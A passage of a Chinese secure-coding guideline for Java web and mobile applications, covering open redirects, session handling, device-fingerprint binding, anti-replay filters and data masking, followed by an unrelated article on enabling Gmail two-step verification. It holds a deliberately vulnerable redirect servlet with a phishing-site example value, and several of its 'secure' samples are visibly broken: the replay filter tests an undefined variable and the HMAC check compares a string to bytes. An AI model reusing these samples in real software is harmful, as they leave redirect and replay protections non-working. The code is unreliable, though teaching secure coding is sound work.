value);}防范URL重定向(1)风险概述Web应用中经常需要指定完成当前页面操作之后下一个页面的请求地址。常见的例如:登录操作完成之后,返回指定页面或者返回登录操作前页面。如果返回地址可被攻击者控制,可能导致受害者访问恶意网站、钓鱼网站的链接。(2)缺陷编码示例:以下是一段存在问题的代码:服务端从客户端接收参数url,直接指定其为重定向地址。比如攻击者构造如下攻击代码“url=http://www.phishingsite.com”。public class RedirectServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String query = request.getQueryString(); if (query.contains("url")) { String url = request.getParameter("url"); response.sendRedirect(url); } } }(3)合规方案服务端需要根据具体的业务需求防止不安全的重定向和跳转:如果只希望在当前域跳转,或者跳转后的链接比较少且比较固定,那么可以在服务端对参数进行白名单限制,非白名单里面的URL禁止跳转。方法设计的步骤:判断URL的域名中是否包含@字符,若有,则返回null(302);判断URL并获取域名,若获取失败,则返回null;判断域名是否存在安全域名白名单中,若否,则返回null;若存在白名单中,则返回URL。B. 如果因为业务需要,跳转后的链接会经常变化而且比较多,建议做个中间跳转页面,提示用户将跳转到其他网站,请用户注意防范钓鱼攻击。会话安全Session安全管理(1)风险概述Session 标识符具备规律性,会造成攻击者利用此规律伪造一个合法用户的Session标识符,假扮成合法用户进入系统。(2)合规方案为避免会话标识符易被猜测,Session ID应具备随机性。(3)安全编码示例:由中间件控制Session ID的生成。在Apache Tomcat中,可通过context.xml的<Manager>节点配置SessionID的生成算法及字符长度;<ManagersessionIdLength="20"pathname="SESSIONS.ser"maxActiveSessions="8000"secureRandomAlgorithm="SHA1PRNG"secureRandomClass="java.security.SecureRandom" />相关的配置属性设置解释如下表:属性描述sessionIdLength服务器端生成SessionID的长度,默认长度为16字节pathname指定服务器端session值存放文件maxActiveSessions会话管理器创建会话的最大数量,当值为-1时为不指定最大会话数量。若超出指定的最大数量,新创建会话将失败。secureRandomAlgorithm指定生成SessionID的种子算法,用于初始化SecureRandom实例对象,默认为SHA1PRNGsecureRandomClass指定创建SessionID会话的类,默认值为java.security.SecureRandom;将通过tomcat的配置文件,指定SessionID的生成方式,通过配置安全随机算法来保证SessionID的随机性。服务器端自主生成Session ID。当用户的登录成功后,应注销原来的Session ID并生成新的Session ID。参考如下代码:public HttpSession changeSessionIdentifier(HttpServletRequest request) throws AuthenticationException {// get the current sessionHttpSession oldSession = request.getSession();// make a copy of the session contentMap<String,Object> temp = new ConcurrentHashMap<String,Object>();Enumeration e = oldSession.getAttributeNames();while (e != null && e.hasMoreElements()) {String name = (String) e.nextElement();Object value = oldSession.getAttribute(name);temp.put(name, value);}// kill the old session and create a new oneoldSession.invalidate();HttpSession newSession = request.getSession();User user = ESAPI.authenticator().getCurrentUser();user.addSession( newSession );user.removeSession( oldSession );// copy back the session content for (Map.Entry<String, Object> stringObjectEntry : temp.entrySet()) { newSession.setAttribute(stringObjectEntry.getKey(), stringObjectEntry.getValue());}return newSession;}会话绑定(1)风险概述许多情况下都有可能导致session ID的泄露。例如:如果通过GET数据来传递session ID的话,就有可能暴露这个敏感的身份信息。因为有的用户可能会将带有session ID的链接缓存,收藏或者发送在邮件内容中。采用Cookies方式传输session ID,在存在XSS风险漏洞的情况下,依然不能保证session ID不被泄露。(2)合规方案对于如登录、修改密码、交易等重要操作,对于用户会话下用户的设备信息是否变化做判断,当前会话下用户设备信息发生变化时,系统应终止操作,给用户返回登录界面。基于设备指纹的会话绑定技术,可实现应用系统对敏感业务操作的用户行为实时判别能力。(3)安全编码示例:1)获取设备指纹 A.Android设备指纹对于Android客户端应用,可通过设备中获取的device ID、Pseudo-Unique ID、mac地址、cpu number、系统版本等信息进行计算(hash处理)得到唯一标识字符串,或者在客户端随机生成一个UUID字符串,然后与用户会话绑定。public static String getDeviceId(Context context) {StringBuilder deviceId = new StringBuilder();// 渠道标志deviceId.append("a");try {//wifi mac地址WifiManager wifi = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);WifiInfo info = wifi.getConnectionInfo();String wifiMac = info.getMacAddress();if(!isEmpty(wifiMac)){deviceId.append("wifi");deviceId.append(wifiMac);PALog.e("getDeviceId : ", deviceId.toString());return deviceId.toString();}//IMEI(imei)TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);String imei = tm.getDeviceId();if(!isEmpty(imei)){deviceId.append("imei");deviceId.append(imei);PALog.e("getDeviceId : ", deviceId.toString());return deviceId.toString();}//序列号(sn)String sn = tm.getSimSerialNumber();if(!isEmpty(sn)){deviceId.append("sn");deviceId.append(sn);PALog.e("getDeviceId : ", deviceId.toString());return deviceId.toString();}//如果上面都没有, 则生成一个id:随机码String uuid = getUUID(context);if(!isEmpty(uuid)){deviceId.append("id");deviceId.append(uuid);PALog.e("getDeviceId : ", deviceId.toString());return deviceId.toString();}} catch (Exception e) {e.printStackTrace();deviceId.append("id").append(getUUID(context));}PALog.e("getDeviceId : ", deviceId.toString());return deviceId.toString();}/*** 得到全局唯一UUID*/public static String getUUID(Context context){SharedPreferences mShare = getSysShare(context, "sysCacheMap");if(mShare != null){uuid = mShare.getString("uuid", "");}if(isEmpty(uuid)){uuid = UUID.randomUUID().toString();saveSysMap(context, "sysCacheMap", "uuid", uuid);}PALog.e(tag, "getUUID : " + uuid);return uuid;} B.iOS设备指纹对于iOS客户端应用,可通过获取IDFA、IDFV、UDID、系统版本号等设备标识,然后经过计算(hash处理)后得到唯一标识字符串,然后与服务器端用户会话进行绑定。NSString *uuid = [[NSUUID UUID] UUIDString];//获取UUIDNSString *idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];//获取IDFV标识NSString *identifierForAdvertising = [[ASIdentifierManager sharedManager].advertisingIdentifier UUIDString];//获取IDFA标识 C.Web指纹识别对于web应用,结合浏览器的User Agent、语言、颜色深度、屏幕分辨率、时区、是否具有会话存储、是否具有本地存储、是否具有索引DB、IE是否指定AddBehavior、是否有打开的DB、CPU类型、平台、是否DoNotTrack、已安装的Flash字体列表、Canvas指纹、WebGL指纹、浏览器的插件信息、是否安装AdBlock等,然后这些值通过散列函数传递产生指纹来对用户的设备进行精确识别后,与会话进行绑定。var fingerprint = new Fingerprint().get();2)会话与设备指纹绑定用户登录时,服务器端应对同一客户端登录的用户数量和一个用户同时在多个客户端登陆进行限制,将设备信息与用户会话绑定,并且对会话进行监听。实现方案如下:建立用户登录会话操作类,在用户登录时将用户名、设备信息、Session id存到Session中去。public class UserSessionAdd { private String clientInfo; private String sessID; private String userName public String getUserName(){ return userName } Public void setUserName(String username){ this.userName=username; } public String getClient() { return clientInfo; } public void setClient(String client) { this.clientInfo = client; } public String getSessid() { return sessID; } public void setSessID(String sessid) { this.sessID = sessid; } }建立一个监听器,实现HttpSessionAttributeListener接口,监听每一个Attribute的增加、编辑、删除事件。监听器中还要建立一个map,将所有的session放入这个map中。public class MyListener implements HttpSessionAttributeListener{ Map<String, HttpSession> map = new HashMap<String, HttpSession>(); //对用户Session操作进行监听public void attributeAdded(HttpSessionBindingEvent event) { String name = event.getName(); if(name.equals("usa")){ UserSessionAdd usa = (UserSessionAdd)event.getValue(); if(map.get(usa.getAdd())!=null){ HttpSession sess = map.get(usa.getAdd()); //获取用户Session AttributeUserSessionAdd usa1 = (UserSessionAdd)sess.getAttribute("usa"); sess.removeAttribute("usa"); sess.invalidate(); } map.put(usa.getAdd(), event.getSession()); } } public void attributeRemoved(HttpSessionBindingEvent event) { String name = event.getName(); if(name.equals("usa")){ UserSessionAdd usa = (UserSessionAdd)event.getValue(); map.remove(usa.getAdd()); } } public void attributeReplaced(HttpSessionBindingEvent event) { // TODO Auto-generated method stub ```` }}在web.xml中配置监听器,对会话进行监听。<listener> <listener-class>监听器类的路径,如:com.web.MyListener</listener-class></listener>用户登录时,将获取到的设备信息、Session ID、用户名存入Session,实现的监听器会对用户的会话进行监听并依据安全要求进行操作。//获取用户设备指纹信息String userClient = getClientInfo(request.getRemoteHost());String sessionId = request.getSession().getId();UserSessionAdd usa = new UserSessionAdd();usa.setUserName(username);usa.setSessID(sessionId);usa.setClient(userClient);request.getSession().setAttribute(“usa”,usa);防重放攻击(1)风险概述涉及客户资金安全和客户敏感信息变更的交易若没有防重放措施,攻击者可重放交易数据包,危害客户资金和敏感信息安全。(2)合规方案为交易添加序号,用来保证交易的唯一性。序号生成方法可以选择随机数、时间戳、或递增数。(3)安全编码示例: A.序列号防重放实现客户端向服务器端发起请求,获取初始序列号。客户端携带序列号向服务器发起请求。var get_serialnum = $request({ 'type': 'GET', 'url': '/access_serialnum' }); var create_req = function(request){ // post return get_token({uid: 1001}).then(function(serialnum){ return $request({ 'type': 'POST', 'url': '/books', // 将序列号放入请求头部,每次请求+1 'headers': { 'serialnummber': serialnum.serialnumber+1 } })(request); }); } var book = {name: '如何变得有思想', author: '阮一峰', publisher: '人民邮电出版社'}; create_req(book).then(function(res){ console.log(res); // 200 ok! book created });服务器端通过实现过滤器,对除获取序列号之外的所有请求验证服务器端存储的序列号与客户端提交的是否匹配。public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest req=(HttpServletRequest)request;HttpServletResponse res=(HttpServletResponse)response;String serialNum=req.getHeader("serialnummber"); if(String.isNullOrEmpty(serialNum)) {res.getWriter().write("该请求已失效");return;}long reqnum=Long.parseLong(serialNum);long servnum=Long.parseLong(req.getSession().getAttribute("serialnummber"))+1//若请求中携带的序列号小于或等于服务器端存储的经过计算后的序列号值,则判定为非法请求if(reqTime<=servnum){res.getWriter().write("该请求已失效"); return;} req.getSession().setAttribute("serialnummber",servnum);chain.doFilter(request, response);}B.时间戳防重放实现public class ReplayFilter implements Filter {private long appTimeStamp=-1; public ReplayFilter() { // TODO Auto-generated constructor stub }public void destroy() {appTimeStamp=-1;}public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest req=(HttpServletRequest)request;HttpServletResponse res=(HttpServletResponse)response;long reqTime=Long.parseLong(req.getParameter("timestamp"));long serverTime=System.currentTimeMillis();//判断请求时间是否有效if(reqTime<serverTime+appTimeStamp){res.getWriter().write("该请求已失效");return;}chain.doFilter(request, response);}public void init(FilterConfig fConfig) throws ServletException {//从配置文件中获取时间间隔,间隔值越大,越能包容网络延时,间隔值越小,越能防护重放攻击appTimeStamp=APPHelper.getTimeStamp();}}C.挑战应答机制防重放实现(挑战应答机制:每次认证时认证端都给被认证端发送一个不同的"挑战"字串,被认证端收到这个"挑战"字串后,做出相应的"应答")客户端调用CryptoJS加密类库的HMAC-SHA256加密算法,以随机数作为密钥,对用户提交数据(用户密码)进行加密,示例代码如下:<script src="http://crypto-js.googlecode.com/svn/tags/3.0.2/build/rollups/hmac-sha256.js"></script><script type="text/javascript">//获取服务器返回的随机值var randomNum=getRandom(); $(function() { $.ajax({ type : 'post', url : 'xxxx.do', dataType : 'json', data : { //对密码进行HMAC运算'password' : +CryptoJS.HmacSHA256($('#pwd').val(),randomNum) }, success : function(data) { if(data != null && data.length > 0){ //这里该怎么写 } }, error : function() { $.message.alert('提示', '请求失败!', 'error'); } });});</script>服务器端从数据库中读取数据(用户密码),使用session中的随机数作为密钥进行HMAC-SHA256加密运算后进行匹配,校验通过后,则进行下一步操作。import javax.crypto.Mac;import javax.crypto.spec.SecretKeySpec;protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username=request.getParameter(“user”); String hmacPwd=request.getParameter(“password”) String password=getPasswordFromDB(username); Mac sha256_HMAC = Mac.getInstance("HmacSHA256"); SecretKeySpec secret_key = new SecretKeySpec(password.getBytes(), “HmacSHA256”); sha256_HMAC.init(secret_key); if(hmacPwd.equals(sha256_HMAC.dofinal())) { //验证通过,处理业务}}数据安全防范前端敏感信息泄露(1)风险概述前端代码的注释信息在投产上线之前需要进行过滤,不要出现在线上。如果没有过滤相关信息,就可能导致信息泄露。(2)合规方案前端代码中的敏感信息保护,我们建议采用如下方式:代码的注释信息(特别是敏感信息)在投产之前需要进行过滤,不要出现在线上;投产前使用YUI Compressor或者其他压缩工具混合压缩JavaScript代码,这样压缩后的代码体积变小,可读性很差但是不影响正常功能,有助于保护敏感信息和业务逻辑。为了保证用户敏感信息不被攻击者窃取利用,系统应对敏感信息进行遮盖,举例如下表:数据类型数据内容不完全显示方式 真实姓名张三四张**身份证号3527141980070701233527************123手机号1703389040317033****03邮箱地址myemail123@gmail.commyemail**@gmail.com银行账户62204325689046216220*********621资金账户620000365409620******409防范服务端敏感信息泄露(1)风险概述当服务器端容错处理不当时,如果接收到一些畸形数据,服务器端会将一些异常调试信息返回给客户端,从而暴露很多对攻击者有用的信息。攻击者可以利用这些错误信息,制定下一步攻击方案。(2)缺陷编码示例:以下是在开发Java Web程序时常见的容错代码,当系统异常时直接抛出了错误信息,没有经过任何处理,很容易产生服务器端信息泄露。try {PreparedStatement pst = conn.prepareStatement(sql);ResultSet rs = pst.executeQuery();while(rs.next()){User u = new User();u.setId(rs.getLong("id"));u.setName(rs.getString("name"));u.setPass(rs.getString("pass"));u.setType(rs.getInt("type"));userlist.add(u);}System.out.println();if(rs != null) rs.close();if(pst != null) pst.close();if(conn != null) conn.close();} catch (SQLException e) {// TODO Auto-generated catch blocke.printStackTrace();}(3)合规方案及安全编码示例:针对异常调试信息泄露服务器端的敏感信息,我们可通过如下几种手段来防护。配置errorPage属性引入错误页面<%@ page errorPage="/error.jsp" %>如果我们指定了errorPage属性的值为error.jsp,那么在访问出现错误时,就会跳转到error.jsp(是转发过去的),如果在开发过程中想要了解异常的信息和对其进行处理,那么就可在error.jsp中设置page指令中的isErrorPage属性。<%@ page isErrorPage="true"%>然后,就可以在error.jsp页面中就可以调用exception隐式对象。在系统上线前,需要将isErrorPage属性设置为false。配置web.xml文件对异常全局处理在web.xml配置文件中设置捕获的异常和姚跳转的对象,让所有的错误信息都只显示友好的信息,避免显示任何与实际错误相关的信息。<error-page> <error-code>404</error-code><location>/error.jsp</location> <error-code>500</error-code> <location>/error.jsp</location> </error-page>禁止项绝对禁止项禁止在客户端明文存储客户的联系方式、证件号码等敏感数据(如:永久性cookie,SQLite);禁止外网应用采用明文传输敏感数据;禁止暴露在公网上的应用接口调用时不经过身份认证和权限控制;禁止应用系统中的用户帐号口令明文存储(除2010年前购买的软件包)。安全问题禁止不符合安全合规的,代码前缀,如"action:"/"redirect:"/"redirectAction:";禁止后台错误堆栈信息直接显示在前台;文件上传需要限定文件大小和类型,上传后不能使用原文件名保存;禁止批处理、接口或Ftp配置信息写在程序中;禁止在用户端明文存储敏感数据(如:永久性cookie,SQLite);禁止外网应用采用明文传输敏感数据;禁止互联网应用中显示完整显示客户的隐私数据(如:身份证号,信用卡号);禁止互联网应用在没有图形验证码的情况下使用邮件和短信发送功能;禁止核心应用系统接口和暴露在公网上的应用接口调用时不经过身份认证和权限控制;禁止应用系统中的用户帐号口令明文存储;禁止在应发布版的应用系统中留有用于开发调试的"后门"程序;输入验证禁止仅仅在用户端进行验证,必须在服务器端进行验证;禁止使用不安全的算法进行数据加密,如仅仅使用MD5算法;禁止使用非预编译(PreparedStatement)模式进行数据库操作;禁止应用系统不接“帐号权限管理平台”自行授权;禁止提供后台管理员删除或修改日志的功能;禁止应用程序更改应用日志记录;禁止应用程序提供非加密FTP传输数据。
如何为您的 Google 账户启用两步验证
当你觉得自己的Gmail不安全你希望提升您谷歌的安全系数,您可以选择开启登录两步验证(也称为双因素身份验证或 2FA)时,您会为您的 Google帐户添加额外的安全层。您使用您知道的信息(您的密码)和您拥有的信息(发送到您手机的代码)登录。 下面很多号平台就教大家如何设置自己Gmail的两步验证 2FA。设置两步验证 (2FA)转到 两步验证页面。您可能需要登录您的 Gmail帐户。如果您看到介绍屏幕,请单击开始。输入您的手机号码并选择短信,然后单击下一步。在手机上收到验证码后,将其输入到第 2 步,然后单击下一步。在最后一步中,单击打开以在您的 Google帐户上启用两步验证。两步验证方法您可以选择几种不同的两步验证方法。谷歌提示当您尝试在新设备上登录帐户时, Google会在您的手机上显示确认提示,您可以接受或拒绝。这是迄今为止最简单的方法。语音或短信当您尝试在新设备上登录您的帐户时,Google 会向您发送一条包含您的验证码的短信,或者给您打电话并读出验证码。谷歌身份验证器应用下载并安装 适用于 Android 的 Google Authenticator 应用程序或 适用于 iPhone 的 Authenticator 应用程序,它们会定期为您生成一个随机验证码。Google Workspace(原 G Suite)管理员如果您看到一条消息 “您要查找的设置不适用于您的帐户。” 在 两步验证页面上,您需要在 Google 管理控制台中启用此功能。如果您不是 Google Workspace 管理员,请联系他们寻求帮助。登录您的 Google 管理控制台 (使用 管理员帐户登录)单击安全 > 基本设置。单击允许用户打开两步验证旁边的复选框。单击保存。本文链接:https://www.henduohao.com/a/enable-2-step-verification-gmail,转载请注明出处,谢谢!